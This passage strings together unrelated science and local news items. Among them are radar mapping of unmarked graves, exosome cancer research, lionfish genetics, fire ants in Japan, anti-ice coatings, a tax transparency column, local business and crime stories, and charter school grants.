unmarked grave sites." Dr Moffat leads a group which recently published the results of using Ground Penetrating Radar (GPR) and GPS surveys to non-invasively map the location of unmarked graves within the Lake Condah Mission Cemetery in Victoria, a state in Australia. Established in 1869, this cemetery remains an important site for the Gunditjmara community, because while it has only 26 marked graves, it is anecdotally thought to contain more than 100 graves. The GPR survey identified an additional 14 probable unmarked graves as well as 49 other areas that may contain one or more unmarked burials. "The great leap forward with this particular study was the close partnership between the Gunditj Mirring Traditional Owners Corporation and the researchers to achieve such a positive outcome," says Dr Moffat. "Many Australian Indigenous communities are anxious not to disturb graves, so this survey provides useful information to assist the Gunditj Mirring Traditional Owners Corporation in planning future burials within this cemetery by identifying large areas which are free of graves." Damein Bell, CEO of Gunditj Mirring says, "Our Elders informed the researchers of their knowledge of where the known graves were and our community now have marked the unknown gravesites of our ancestors". GPR is a geophysical technique that uses high frequency electromagnetic waves to image the subsurface, making it ideal for mapping changes in lithology or soil structure. Extensive subsurface disturbance present at the Lake Condah Mission Cemetery and the presence of many tree roots made the effective interpretation of GPR data difficult, but it was still possible to delineate areas where no unmarked graves are present. "This is an important outcome for managing the cultural heritage of the cemetery because it identifies areas where new graves can be emplaced in a culturally appropriate fashion," says Dr Moffat. "This demonstrates the utility of GPR as a means of effectively managing heritage sites containing unmarked graves, even when substantial subsurface disturbance is present." Dr Moffat believes the technique of using GPR and GPS readings will now have a much wider application across pioneer and heritage sites throughout Australia and will be undertaking surveys of other cemeteries at Lake Wangary, Berri and Kingscote over coming weeks. ### The research paper - "Ground penetrating radar investigations at the Lake Condah Mission Cemetery: locating unmarked graves in areas with extensive subsurface disturbance," by Ian Moffat, Julia Garnaut, Celeste Jordan, Anthea Vella, Marian Bailey and Gunditj Mirring Traditional Owners Corporation - has been published by the Journal of the Archaeological and Anthropological Society of Victoria. NeurExo Sciences, LLC (NXS), a biotechnology company focused on the development of exosome therapies and subsidiary of NeuroTrauma Sciences LLC, and Henry Ford Health System, a non-profit organization, today announced the presentation of new data on exosomes at the International Society for Extracellular Vesicles (ISEV) 2019 Annual Meeting being held April 24-28, 2019 in Kyoto, Japan. Among their key findings, Henry Ford researchers demonstrated the ability of exosomes to suppress chemotherapy-induced peripheral neuropathy and enhance the anti-tumor effects of platinum drugs, which are commonly used to treat cancers. Peripheral neuropathy is a common adverse effect of platinum based chemotherapy. Neurotoxicity often requires platinum drug dose reduction, compromising therapeutic efficacy of platinum drugs to suppress tumor progression. In the oral presentation, Exosomes from cerebral endothelial cells suppress chemotherapy-induced peripheral neuropathy and sensitize anti-tumor effects of platinum drugs, Zhenggang Zhang MD, PhD, senior scientist at Henry Ford Health System, explained how isolated exosomes from cultured human primary cerebral endothelial cells (CEC-exos) were used in the treatment of mice bearing ovarian cancer with platinum drugs induced peripheral neuropathy. Tumor bearing mice treated with platinum drugs along with CEC-exos (n=7/group) exhibited significant reduction of platinum-drug induced peripheral neuropathy. Moreover, CEC-exos in combination with platinum drugs significantly decreased tumor size by 80-91% compared to platinum drugs alone, which reduced tumor growth by 50-72%. "Our preclinical data demonstrate the ability of the exosome treatment to ameliorate platinum-drug induced peripheral neuropathy," said Dr. Zhang. "In addition to restoring the neuroprotective network, our exosomes were able to suppress a chemoresistant network of mirRNAs/protein-coding genes to amplify the anti-tumor effect of platinum drugs." Separately, Henry Ford researchers presented additional research in a poster presentation, Comprehensive proteomics and microRNA analyses of adult neural stem cell derived exosomes after stroke, to elucidate the function of neural stem cell (NSC) exosomes in promoting neurovascular remodeling including angiogenesis and axonal outgrowth after stroke. The results of their proteomic and miRNA analysis demonstrated that NSC derived exosomes contain a robust profile of protein and miRNA effectors. These data may help elucidate the function of NSC derived exosomes in stroke-induced neurogenesis, as well as potentially lead to new treatment of ischemic cerebral tissue-related diseases. The abstracts are available on NeuroTrauma Science's website, http://www.neurotraumasciences.com. "Exosome technology has exciting potential across many therapeutic areas," said Carl Long, NeuroTrauma Sciences Co-founder and Chief Executive Officer. With our partners at Henry Ford, we are pioneering exosome technology for multiple neurological conditions, including neuropathies, as well as traumatic brain injury and stroke." ### About Exosomes Exosomes are small extracellular vesicles that transport DNA, RNAs, lipids and proteins between cells, allowing organs, tissues and cells to communicate with one another and elicit specific biological responses based on their cargo. MicroRNAs transported by exosomes regulate gene translation and play primary roles in mediating a vast array of biological functions, including immunomodulation and the potential to enable multiple pathways of neurovascular restoration. About the Chopp Lab in the Department of Neurology and the Neurosciences Institute at Henry Ford Hospital Dr. Chopp is dedicated to translational research in neuroscience, and he and his group are recognized as foremost authorities on exosomes and microRNA for treatment of neurological injury and disease. The focus of the laboratory is the pathophysiology of stroke and traumatic brain injury; mechanisms of neuroprotection, and cell-based, biologic (e.g. exosomes), molecular and pharmacological neurorestorative therapies for stroke, traumatic brain injury, and neurodegenerative disease. Dr. Chopp has approximately 750 peer reviewed publications and has received numerous prestigious research awards. His laboratory, comprising 70 researchers and staff, is one of the leading research centers in the world in translational neuroscience and restorative neurology and was the first lab to use mesenchymal stem cells (MSCs) as well as exosomes derived from MSCs and other sources, to treat stroke, TBI, and neurodegenerative diseases. His lab has been awarded more than $80 million in total funding and has 19 active NIH grants. About NeurExo Sciences NeurExo Sciences, LLC, a privately-held biopharmaceutical company and subsidiary of NeuroTrauma Sciences, LLC, was formed in 2018 to advance Henry Ford's pioneering technology involving exosomes as extracellular vesicles enriched with microRNA for the purpose of treating stroke, traumatic brain injury (TBI) including concussion, and neuropathies. NXS has worldwide commercial rights to product candidates resulting from the exosome and miRNA IP and sponsored research generated by the lab. What makes the red lionfish (Pterois volitans) such a successful and powerful invader in Atlantic Ocean waters compared to its rather lamblike existence in its native Pacific Ocean? A new North Carolina State University study examining two native lionfish regions in the Pacific and five invading regions in the Atlantic showed the greatest genetic similarities between lionfish in the region of Taiwan and the Bahamas, suggesting a population near Taiwan was the source of the invading species. Lionfish were introduced to the Atlantic in the mid-1980s, most likely as the result of a marine ornamental aquarium trade. In the Atlantic, P. volitans acts differently from the native Pacific species. Known to be shadowy and furtive in their native Pacific waters, lionfish - freed from Pacific predators - become voracious predators in the Atlantic, responsible for massive reef fish kills, devastating economically important grouper and snapper. Plus, they rival rabbits in procreation. "P. volitans has a lot going for it in Atlantic waters," said Martha Burford Reiskind, research assistant professor of applied ecology at NC State and corresponding author of a paper describing the research. "They are found at high densities and in some cases can spawn every four days in the Atlantic; their eggs can travel great distances on ocean currents, exacerbating their spread. "They are also difficult to handle because of their venomous spines. The population has grown so large that controlling it, not eradicating it, is the primary goal." Besides learning more about important gene regions that show evidence of rapid evolution when the species arrived in the invasive range, the researchers also examined whether Atlantic or Pacific lionfish may be hybrids, or combinations, of two lionfish species. Specifically, researchers wanted to know if P. volitans had merged with P. miles, the devil fire fish. "We didn't find any evidence of P. miles or hybrids in our Atlantic Ocean samples," Burford Reiskind said. "But we can't rule out that the fish introduced to the Atlantic from the Pacific wasn't already some type of hybrid between an Indian Ocean and a Pacific Ocean species." Burford Reiskind said that the study could help during other invasive events. "Some of these invaders rapidly adapt to new surroundings. What are the genes that allow them to successfully invade?" she asked. "Can we make better predictions so that invasive species like P. volitans are eradicated before it's too late?" The research was conducted by undergraduate and graduate students in a conservation genetics course taught by Burford Reiskind. In this experiential-leaning project, students collected samples, sequenced DNA, built genomic libraries, analyzed data and served as co-authors of a paper that appears in Biological Invasions. "We weren't sure what we were going to find when we took on this project as a class," Burford Reiskind said. "It was fun to see the students learn how to conduct genomic studies on an important conservation question." ### The research was supported by a Dean's Enrichment Grant from NC State's College of Agriculture and Life Sciences. Note to editors: An abstract of the paper follows. "The genomics of invasion: characterization of red lionfish (Pterois volitans) populations from the native and introduced ranges" Authors: Martha Burford Reiskind, E.M.X. Reed, A. Elias, J.J. Giacomini, A.F. McNear, J. Nieuwsma, G.A. Parker, R.B. Roberts, R.E. Rossi, C.N. Stephenson, J.L. Stevens, B.E. Williams, North Carolina State University Published: Online April 13, 2019 in Biological Invasions DOI: 10.1007/s10530-019-01992-0 Abstract: Invasive species are one of the greatest threats to global biodiversity and ecosystem health, and population genetics provides promising tools for understanding the evolutionary process of successful invaders. The well-documented introduction of the red lionfish (Pterois volitans) to the western Atlantic, Gulf of Mexico and Caribbean has decimated native fauna due to the invader's voracious predation and growth rate. We tested whether our samples were within the region of the source of invasion into the Atlantic and Caribbean and investigated whether hybridization in the native or introduced range was responsible for the success of this invasive species. We used a reduced representation sequencing method to generate over 50,000 single nucleotide polymorphisms and sequence data from two mitochondrial DNA genes to analyze the population patterns. We found one location in the southeastern Pacific that was genetically similar to one location the southwestern Atlantic and evidence of the subsequent spread south to the Gulf of Mexico and the Caribbean, which supports previous findings. Within the native range, we found genetic divergences commensurate with distinct species and evidence of hybridization. We found limited structure within the introduced range and no evidence of Pterois miles or hybrids within this range. Finally, we found signatures of selection between the native and introduced range that may be a result of the introduction. Overall, this study of the red lionfish showed the pattern of introduction and suggested a deeper sampling of genomic data from individuals within the native range may reveal hybridization between species as the source of the aggressive invasion. Chelsea Powrie High above the ground, pairs of ospreys have begun making their nests and preparing for batches of babies in the South Okanagan. "They just returned, we're just hearing and seeing some of the nests around the valley being occupied now," said Dale Belvedere, manager of the SORCO raptor rehabilitation centre. "They should be laying their eggs within the next couple weeks." The hawks, known for their fishing capabilities, like to roost on telephone poles. They mate for life, and typically return to the same spot every year to raise their young. "They come back to the same nest, they like to nest somewhere near water because they fish," Belvedere said. "And they usually have between two and three babies per couple." One pair is on camera 24/7 so the public can watch their progress. A nest in Osoyoos has a live stream, thanks to a partnership between the town and FortisBC. "FortisBC crews de-energized the pole to make sure the birds will be safe once they return home," states a description on the Town of Osooyos website. In past years, the raptors found their nesting areas usurped by Canada goose parents. But this winter, temporary cages built above the roosting sites seem to have staved off the geese until it was time for the ospreys to return. Keep an eye on the osprey camera in the coming weeks to catch the eggs and see the eventual babies. Town of Osoyoos It was the summer of 2017 when fire ants made their landfall in mainland Japan. Two years later, reported detections of fire ants are only increasing across the mainland. The question isn't if, but when they will reach Okinawa. A team of scientists across Japan is working hard to stop them. As of October 2018, ants were found in 14 prefectures. The Japanese Ministry of Environment has taken steps to combat the invasions, initiating the Environmental Research Promotional Fund. The fund brings together a collaboration of four Japanese institutes. The collaboration is led by University of the Ryukyus, and brings together Kyoto University, the National Institute for Environmental Studies, and Okinawa Institute of Science and Technology Graduate University (OIST). Each collaborator has a different role in the project. University of the Ryukyus is creating a new efficient technology of baiting for invasive ants. University of Kyoto is researching the change of ant's foraging behavior which affects the baiting efficiency. The National Institute for Environmental Studies is creating efficient and easy tools to detect and control fire ant. Lastly, OIST will be developing a social system to educate and disseminate information. OIST will use monitoring technology for surveillance networks and ordinary citizens to help in early detection. The goal of this collaboration is to utilize various research outlets to establish an invasive species control system using fire ants as a model, and implement countermeasures in other prefectures, like Okinawa. To reach the goal, the three solutions to the project are: early detection, effective prevention and implementing awareness to society. When fire ants first made their unwelcome entrance media coverage boomed, awareness increased, and fire ants soon became a household term in Japan. While media coverage has died down, the government and researchers continue to work to protect Japan from invasive ants. On May 15, 2019 a kick-off event will be held at OIST to get a glimpse of the project. At the event the research plan will be outlined along with a question and answer session taking place afterwards. The question of when fire ants will make landfall in Okinawa may not have an answer, but this collaboration is taking the steps necessary to prepare for the upcoming phases of invasion. "We need to let people know the fire ant issue is not over," Masashi Yoshimura, research support leader at OIST said. "You may not see nests now, but due to international transportation we can't stop fire ant movement." ### Researchers have shown that existing optical fibre technology could be used to produce microscopic 3D images of tissue inside the body, paving the way towards 3D optical biopsies. Unlike normal biopsies where tissue is harvested and sent off to a lab for analysis, optical biopsies enable clinicians to examine living tissue within the body in real-time. This minimally-invasive approach uses ultra-thin microendoscopes to peer inside the body for diagnosis or during surgery, but normally produces only two-dimensional images. Research led by RMIT University in Melbourne, Australia, has now revealed the 3D potential of the existing microendoscope technology. Published in Science Advances, the development is a crucial first step towards 3D optical biopsies, to improve diagnosis and precision surgery. Lead author Dr Antony Orth said the new technique uses a light field imaging approach to produce microscopic images in stereo vision, similar to the 3D movies that you watch wearing 3D glasses. "Stereo vision is the natural format for human vision, where we look at an object from two different viewpoints and process these in our brains to perceive depth," said Orth, a Research Fellow in the RMIT node of the ARC Centre of Excellence for Nanoscale BioPhotonics (CNBP). "We've shown it's possible to do something similar with the thousands of tiny optical fibres in a microendoscope. "It turns out these optical fibres naturally capture images from multiple perspectives, giving us depth perception at the microscale. "Our approach can process all those microscopic images and combine the viewpoints to deliver a depth-rendered visualization of the tissue being examined - an image in three dimensions." How it works The research revealed that optical fibre bundles transmit 3D information in the form of a light field. The challenge for the researchers was then to harness the recorded information, unscramble it and produce an image that makes sense. Their new technique not only overcomes those challenges, it works even when the optical fibre bends and flexes - essential for clinical use in the human body. The approach draws on principles of light field imaging, where traditionally, multiple cameras look at the same scene from slightly different perspectives. Light field imaging systems measure the angle of the rays hitting each camera, recording information about the angular distribution of light to create a "multi-viewpoint image". But how do you record this angular information through an optical fibre? "The key observation we made is that the angular distribution of light is subtly hidden in the details of how these optical fibre bundles transmit light," Orth said. "The fibres essentially 'remember' how light was initially sent in - the pattern of light at the other side depends on the angle at which light entered the fibre." With this in mind, RMIT researchers and colleagues developed a mathematical framework to relate the output patterns to the light ray angle. "By measuring the angle of the rays coming into the system, we can figure out the 3D structure of a microscopic fluorescent sample using just the information in a single image," Professor Brant Gibson, Chief Investigator and Deputy Director of the CNBP, said. "So that optical fibre bundle acts like a miniaturised version of a light field camera. "The exciting thing is that our approach is fully compatible with the optical fibre bundles that are already in clinical use, so it's possible that 3D optical biopsies could be a reality sooner rather than later." In addition to medical applications, the ultra-slim light field imaging device could potentially be used for in vivo 3D fluorescence microscopy in biological research. ### The study, in collaboration with CNBP colleagues at Macquarie University and the Centre for Micro-Photonics at Swinburne University, is published in Science Advances ("Optical fiber bundles: ultra-slim light field imaging probes", DOI 10.1126/sciadv.aav1555). About RMIT RMIT is a global University of technology, design and enterprise and where teaching, research and engagement are central to achieving positive impact and creating life-changing student experiences. Founded in 1887, RMIT is a multi-sector university with more than 91,000 students and 11,000 staff globally. The University enjoys an international reputation for excellence in professional and vocational education, applied and innovative research, and engagement with industry and the community. With three campuses and two sites in Australia, two campuses in Vietnam and a research and industry collaboration centre in Barcelona, Spain, RMIT is a truly global university. RMIT also offers programs through partners in Singapore, Hong Kong, mainland China and Indonesia, and has research and industry partnerships on every continent. See the latest RMIT rankings RMIT is a node of the ARC Centre of Excellence for Nanoscale BioPhotonics, which brings together physicists, chemists and biologists focused on a grand challenge - controlling nanoscale interactions between light and matter to probe the complex and dynamic nanoenvironments within living organisms. PHOENIX - Researchers at the University of Arizona College of Medicine - Phoenix are partnering with Space Tango, a private aerospace company that designs, builds and operates facilities on the International Space Station, to develop an easy way to test astronauts' health in space. Led by Director and Professor Frederic Zenhausern, PhD, MBA, the UA Center for Applied NanoBioscience and Medicine (ANBM) has received three independent NASA grants. The latest funding will allow researchers to develop a diagnostic tool - a miniature syringe-like device that can detect bioagents and hundreds of biomarkers in blood or saliva - and test it in space. "This is the next step in the evolution of this technology toward use on a test flight," Dr. Zenhausern said, referring to the "vertical-flow" device, a novel technology patented and licensed by Tech Launch Arizona, which helps bring UA innovations to the world through commercial pathways. Center researcher Jian Gu, PhD, an associate professor in the college's Basic Medical Sciences Department, will work with the Kentucky-based company to integrate the diagnostic platform into Space Tango's automated hardware. Jana Stoudemire, director of commercial innovation at Space Tango, said the company is pleased to partner with the research team at the UA College of Medicine - Phoenix. The device will be part of a payload housed in one of its autonomous CubeLabs that can provide near real-time data and monitoring in microgravity. "Everything in the CubeLab has to be extremely well-designed and simple to use in the contained environment of a space mission and the International Space Station," she said. The basic questions researchers have to answer are: How do you take a blood or saliva sample in microgravity and how is it processed by an astronaut en route to Mars? Dr. Zenhausern said in the Center's first NASA grant, the chemistry of the device was tested for protein markers. Its application to nucleic acid detection was demonstrated under a second NASA Human Research Program grant, led by Center researcher Jerome Lacombe, PhD, an assistant professor in the medical school's Basic Medical Sciences Department. This latest grant - $100,000 from NASA and its Translational Research Institute for Space Health - will pursue with Space Tango development of the diagnostic test using a human factor engineering approach to validate its performance in microgravity. "What is exciting is that NASA is investing more funds in space exploration and is considering human health as its first priority to succeed in long-duration missions," Dr. Zenhausern said. "Until now, very little monitoring of the health of astronauts has occurred, but deep space travel will require cutting-edge technologies for astronaut health and performance." Recent news about the health of U.S. astronaut Scott Kelly, who spent a year at the International Space Station in the confines of microgravity, have questioned the promise for long-term human space travel. Other reports earlier this year that space flight could activate dormant viruses like shingles, chickenpox and herpes heighten the importance of developing ways to monitor and treat health conditions of astronauts in space. Leroy Chiao, PhD, a former NASA astronaut, International Space Station commander and ANBM consultant, said he was not surprised by the March report. "We know that under stress, certain genes can turn on and off," he said. "Your body in space is under stress, so it makes sense that the stress can cause some genes to turn on and others to turn off." Dr. Chiao said one of the major concerns of many astronauts is how their bodies will react to exposure to radiation. He said he is impressed with the Center's most recent project and its portfolio of technologies for radiation countermeasures. "If this takes us one step closer to learning more about radiation resistance, that's great," he said. ### About the UA College of Medicine - Phoenix Founded in 2007, the University of Arizona College of Medicine - Phoenix inspires and trains exemplary physicians, scientists and leaders to optimize health and health care in Arizona and beyond. By cultivating collaborative research locally and globally, the college accelerates discovery in a number of critical areas -- including cancer, stroke, traumatic brain injury and cardiovascular disease. Championed as a student-centric campus, the college has graduated 433 physicians, all of whom received exceptional training from nine clinical partners and 1,800 diverse faculty members. As the anchor to the Phoenix Biomedical Campus, which is projected to have an economic impact of $3.1 billion by 2025, the college prides itself on engaging with the community, fostering education, inclusion, access and advocacy. For more information, please visit phoenixmed.arizona.edu. About Space Tango Space Tango provides improved access to microgravity through their Open Orbit platform for research and commercial manufacturing applications that benefit life on Earth. The Company believes the microgravity environment is a new frontier for discovery and innovation. Space Tango is focused on creating a new global market 250 miles up in low Earth orbit and envisions a future where the next important breakthroughs in both healthcare and technology will occur off the planet. Recognized for their expertise in microgravity design and operations, Space Tango believes that by exploring with industry and educational partners of all kinds, we can improve life on Earth and inspire the next generation to continue to expand the horizon of this new frontier. For more information, please visit http://www.spacetango.com. Scraping an icy windshield can be a seasonal struggle for those that live in colder climates. But engineers from UBC's Okanagan campus are aiming to ease that winter frustration with a new surface coating that can shed ice from large areas using little effort. The new anti-ice coating is a new class of surfaces called low interfacial toughness (LIT) materials and were developed by UBC Okanagan researchers in a new study published this week in the journal Science. "For those experienced in the early morning windshield scrape, it should come as no surprise that it normally takes quite a lot of force to remove large areas of ice," explains Kevin Golovin, assistant professor at the UBCO School of Engineering and study lead author. "That's not the case with LIT materials. Imagine simply brushing the ice away or letting it sliding off the windshield from its own weight--that's how effective LIT materials can be." According to Golovin, the development of this new class of materials is changing the way scientists understand ice adhesion. "We're disproving the last 80 years of thinking about how to lower ice adhesion. Lowering toughness had never been explored as an effective de-icing strategy." Golovin says LIT materials work by causing cracks to form easily beneath the ice, allowing it to readily dislodge. He compares the effect to a string of dominos. "If designed correctly, the force to knock down a single domino is enough to topple them all--adding more dominoes doesn't require you to push any harder," says Golovin. "It's the same with LIT materials. Once you form a crack it can de-ice the entire interface, whether it's the length of a windshield, an airplane wing or a turbine blade." Golovin says LIT materials can be fabricated from commonplace paints and plastics but possess superior performance against state-of-the-art anti-icing materials in different applications like the de-icing of power lines, aviation wings and even in complex shapes like ice cube trays. "Ice buildup has adverse effects on a range of commercial and residential activities, from downed power lines to air travel delays to scraping one's windshield," says Golovin. "This development is definitely a game-changer." ### The research, in partnership with the University of Michigan, was funded by the US Office of Naval Research, the US Department of Defense and the Natural Sciences and Engineering Research Council of Canada. Plus One Robotics, a San Antonio firm that develops software for automation in warehousing and distribution, is adding jobs and work space after recently rolling out a new product. The company is moving into a facility at Port San Antonio thats more than twice the size of its previous office at the former Kelly Air Force Base on the citys Southwest Side. Many of the new employees will be based in San Antonio, though some will work at a satellite office in Boulder, Colo., or home offices, CEO Erik Nieves said. He also plans to hire around 10 more people this summer, bringing Plus Ones workforce to more than 30. On ExpressNews.com: Are robots coming for your job? Maybe Were excited to remain at the port and see the growth of the cyber community here, Nieves said. Jim Perschbach, Port San Antonios president and CEO, said Plus One epitomizes the sites aim to attract companies in targeted industries, including robotics and cybersecurity. The fact that Plus One Robotics is working to creatively integrate logistics, robotics, software and cybersecurity technologies serves as an inspiring example for current and future innovators in our community, he said in a news release. Founded in 2016, Plus One builds software for robots used in logistics. This type of work often involves repetitive, monotonous tasks that are usually better suited to robots, which is where the firm comes in, Nieves has said in past interviews. Arent robots taking peoples jobs, though? He argues that the firms products give companies the opportunity to move employees into positions that take advantage of more of their cognitive abilities. And they still need humans to maintain the robots and tell them what to do. Robots work, people rule, he said Thursday. Aside automations potential affect on jobs, people have come to expect faster delivery of their packages, Nieves said. Companies have responded by offering quicker shipping options and are dealing with the uptick in volume, another opportunity for Plus One. On ExpressNews.com: Robots, scanners, towers: Heres how technology is changing retail The companys main product uses a 3D camera to help a robot figure out where a package is and where it should go in the warehouse before placing it on a conveyor. The company closed on a $8.3 million funding round in the fall after raising around $2.4 million in its first round. Plus One debuted a new offering earlier this month that allows clients to manage their robots remotely. A robot at a warehouse may be instructed to look for packages that are a certain shape rectangular, for example and sort them, Nieves said. But if someone is mailing a Frisbee, the robot gets confused and stops. Its a big hassle, he said. With the new product, called YonderOne, an employee gets an alert that a robots having trouble processing an item. They can look at what the robots stuck on and tell it to keep going, Nieves said. Big companies usually have employees who handle the robots but smaller businesses may not, Nieves said. Under a version of YonderOne, Plus Ones workers handle the communication with the robot. We see what the robot sees and can get it back to work, he said. madison.iszler@express-news.net Ive been reading up on tax transparency and have become a convert to the idea which is that the IRS should publish online every taxpayers annual income and the payroll taxes they paid. Ive got political, economic and sociological reasons for my conversion. You probably already anticipate the political. Most Democratic presidential candidates this month have rushed to release a decades worth of their personal tax returns. They do this in part to contrast themselves with President Donald Trump, who has broken with 40 years of tradition by not releasing his tax returns. His stated reason is that his returns are under audit with the IRS. An audit process, however, does not prevent voluntary disclosure, according to the IRS itself. But lets not limit ourselves to begging for voluntary disclosure by a president or presidential contenders. Lets get it all out there. For everyone. That was the rule back in 1924. The IRS made public the amount of taxes paid by every individual and corporation. I say we reinstitute that rule, which, unfortunately, was repealed in 1926. The main goal of income and tax transparency is to deter tax evasion, especially by powerful people. A secondary goal is to increase the amount of taxes paid. A tertiary goal is that we get to address important issues like wage inequality. A paper published in February by the National Bureau of Economic Research describes Pakistans recent experience with tax disclosure. In 2012, the government began to publish how much both elected officials and citizens earned in income and paid in taxes. This is relevant to the current situation in the U.S., since the program began as a result of press reports that elected officials had not been paying their taxes. What better way to ensure compliance and foster trust in the system than 100% exposure of all citizens income and taxes paid? Sunlight, as they say, is a great disinfectant. In Pakistan, two, free, searchable directories are published in PDF form online each year. The first is income earned and taxes paid by all members of Parliament. The second directory has the same tax information on all taxpayers, searchable by name. One hoped-for effect is to encourage whistleblowers to come forward if they suspect someone, like a political rival or a neighbor, of not paying their fair share of taxes. As a result of this program, among members of Parliament in Pakistan, tax compliance moved from 30% to 90% within the first year of the program. This degree of compliance and transparency that brought it about should be a requirement in a democracy. For society as a whole, individuals would be less likely to attempt illegal tax avoidance, or even plausibly legal but overly aggressive attempts to reduce taxes, if they knew others would be watching. Other taxpayers may enjoy the bragging rights afforded by high reported income and high tax compliance, possibly helping bring in additional revenue. Norway has a strong tradition of tax transparency, dating to the 19th century. In 2001, the central government began to publish online all taxpayer wages and taxes paid, searchable by anyone. A Norwegian study from 2014 found that business owners reported income increased by 3% on average following the change to total transparency, with a 0.2% bump in taxes collected. Higher reported income leads to higher taxes paid. An equivalent jump in taxes in the U.S. would raise an additional $3.2 billion. Pakistan and Norway are not the only countries to experiment with tax transparency. Italy tried it in 2008, posting all tax returns from 2005 online, before taking down the information because of protests. Greece and New Zealand use public exposure of tax evaders to encourage compliance. This tax transparency may all sound radical, but we already have a small version of this in the United States. I can look up property taxes owed and paid by almost anyone who lives near me through a simple internet search of county records. And life goes on. Academic studies do acknowledge some downsides to transparency. Some consider this an invasion of privacy. We could easily imagine some embarrassment or even harassment about ones level of income. Apparently in Norway, the well-known practice of tax porn internet searches looking up peoples income for voyeuristic purposes actually makes people unhappier in some instances. As a result, since 2013 in Norway, the subject of a tax search is informed of who is doing the searching. This has led to a drop from 16.5 million searches to 2.15 million searches in the year after implementation of the rule change all for a population of 5 million. When I am declared benevolent dictator of this fair land, I will look to institute tax transparency similar to that in Norway and Pakistan an easy internet search of anyones net worth, taxes owed and taxes paid. A moderate charge for each search would make it a revenue generator for my governments coffers. The charge would also limit tax porn searches. One additional benefit of this proposed database would be to equalize pay. Efficient markets, including markets for work, depend on the free flow of information. Pay information, however, is often obscured and secret. A 2010 economics paper found that disclosure of income prompted lower-income workers to take action, such as look for higher paid job. Under my tax transparency regime, people would have the information to make their arguments for better pay and equality. Michael Taylor is a columnist for the San Antonio Express-News and author of The Financial Rules For New College Graduates. michael@michaelthesmartmoney.com | twitter.com/michael_taylor Defense contractor P3I is laying off most of its San Antonio workforce after losing a contract to continue operating at Joint Base San Antonio-Lackland, but expects those workers to find jobs with the firm taking over the contract. On ExpressNews.com: California company closing San Antonio call center, laying off 42 employees The Massachusetts-based firm, which provides support services for the Department of Defense and federal agencies, told 85 of its 90 San Antonio workers they would lose their jobs on May 17, P3I told the Texas Workforce Commission earlier this week. A division of the Air Force Life Cycle Management Center, which manages the life cycles of Air Force weapons systems, decided to award a contract for services previously performed by P3I to Ohio-based Applied Research Solutions. Top hits: Get San Antonio Express-News stories sent directly to your inbox But Applied Research Solutions will likely hire P3I employees, many of them engineers and project managers who worked on the previous contract, to continue the work in part because they already have security clearances, said Roger Goudreau, P3I vice president of operations. They will all have jobs unless they decide theyre done with government work and they want to retire, Goudreau said. The company is bidding on another contract in San Antonio and plans to keep a small presence here, he said. Express Briefing: Get the morning headlines in your inbox Janice Guy, a U.S. Marine Corps veteran, founded P3I in 2000. She was one of the first female air defense control officers in the Marines, according to P3Is website. The firms name stands for people, performance, process and innovation (P3I). It sells acquisition, logistics, engineering, technology and financial services to clients that include the Air Force Life Cycle Management Center, Naval Undersea Warfare Center and Defense Health Agency. Aside from San Antonio, P3I also has locations in Kansas, Colorado, Alabama, Georgia, Ohio, Virginia and Rhode Island. The firm started with four employees and has since swelled to more than 200, according to LinkedIn. Joshua Fechter is a San Antonio-based staff writer covering real estate, economic development and philanthropy. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | jfechter@express-news.net | Twitter: @JFreports Photo: CTV News Police are seeking the public's help after a Grade 10 girl was attacked by four other teens in Courtenay this week. The girl's mother says her daughter was set upon on a trail near Valley View Elementary School on Tuesday morning. "They came from behind. They hit her in the head so hard her vision went blurry," the mother told CTV News. "She remembers hearing boys' and girls' voices." The girl was punched and kicked "multiple times" and told she "didn't deserve to live." She was left unconscious after her head was smashed on a rock. The teen suffered extensive bruising and a concussion. The teen only caught glimpses of the mob as they brutally kicked her. One wore baggy blue jeans and Vans shoes; one had long blonde hair and black-and-white checkered shoes; one wore brown pants; and the other had white shoes and black-and-white pants. with files from CTV Vancouver Island Photo: Facebook A Nova Scotia mother who says she waited two years for her cancer diagnosis has released a viral, highly emotional video calling out Premier Stephen McNeil for not declaring a health-care crisis in the province. "To the premier of Nova Scotia, I dare you to take a meeting with me and tell me there is no health-care crisis," Inez Rudderham, 33, said in a viral Facebook video that has been viewed over 1.5 million times. In the tearful, emotionally charged video, the mother of a four-year-old daughter said she went undiagnosed with Stage 3 anal cancer for two years due to her lack of access to a family doctor. Rudderham states she has received 30 rounds of radiation to her pelvis, which has left her "barren and infertile." When taking her health concerns to the emergency rooms, Rudderham says she was brushed off. "It's OK though, right? Because they caught it. They caught it when it was Stage 3," says a teary Rudderham, her head swathed in a scarf. "I fought. I fought for my life." Rudderham also says she has been waiting for mental health services since January, only to find out this month that she can only get an appointment in mid-July. "You want to tell me that there's no health-care crisis in my province?" There were 55,801 people on a waiting list for a family physician in Nova Scotia, or about six per cent of the province's population, as of Dec. 1. "There are not enough physicians to meet the health-care needs of Nova Scotians," a report released in January by Doctors Nova Scotia said. "We believe that every Nova Scotian deserves access to a family physician." McNeil said Thursday he's asked health officials to meet with Rudderham, and will wait for word from them. "I obviously feel for this person, I did see part of the video. I've asked the department to reach out, to be in contact with her to find out the issues that she has and how we can best ensure that she gets the appropriate treatment but also the appropriate supports," he told reporters. The video posted on Tuesday has been shared more than 61,000 times. "This is the face of the health-care crisis in Nova Scotia, and I dare you to tell me otherwise," she says, pointing to her own face. Officials at San Antonios largest charter school network want to have campuses within 10 minutes of every family in the city a goal they now believe reachable in five years thanks to a $116 million grant from the U.S. Department of Education. IDEA Public Schools received the largest award from a combined $304 million announced this month by the departments Office of Innovation and Improvement, followed by KIPP, which is expected to receive $86 million to expand existing schools and open new ones. Both are heavily invested in San Antonio and plan to open schools elsewhere in Texas and in other states. Thirteen other charter networks also were awarded grants. IDEA wants to use the money to grow from 22 schools locally to 37 by 2022-23, according to its application. Its part of a planned nationwide explosion from 79 schools to 199, which would add 30,000 students in the next five years, growing to more than 56,000 when the schools are at full capacity, according to the application. The expansion of charters in San Antonio has produced an increasingly vocal backlash from leaders of traditional public school districts across the city that face budget challenges from reduced state funding and, in some cases, enrollment declines. On ExpressNews.com: School leaders to city: stop helping charters expand There is a group of people in our nation and certainly in our city that want to move to a more privatized system of schooling, and theyve been successful in allowing charters to expand really rapidly into areas that are not what you would call underserved, and essentially co-locate with public schools that are performing well, Brian Woods, the superintendent of Northside Independent School District, said Thursday. The new funding follows a $67 million Department of Education grant IDEA received in 2017. IDEA-San Antonio Executive Director Rolando Posada said the money helps fuel his vision of having a school everywhere on the map so every family would have less than a 10 minute drive to an IDEA school. It costs a lot of money to launch schools, Posada said, and the latest $116 million will help. In addition to facilities, the money will go 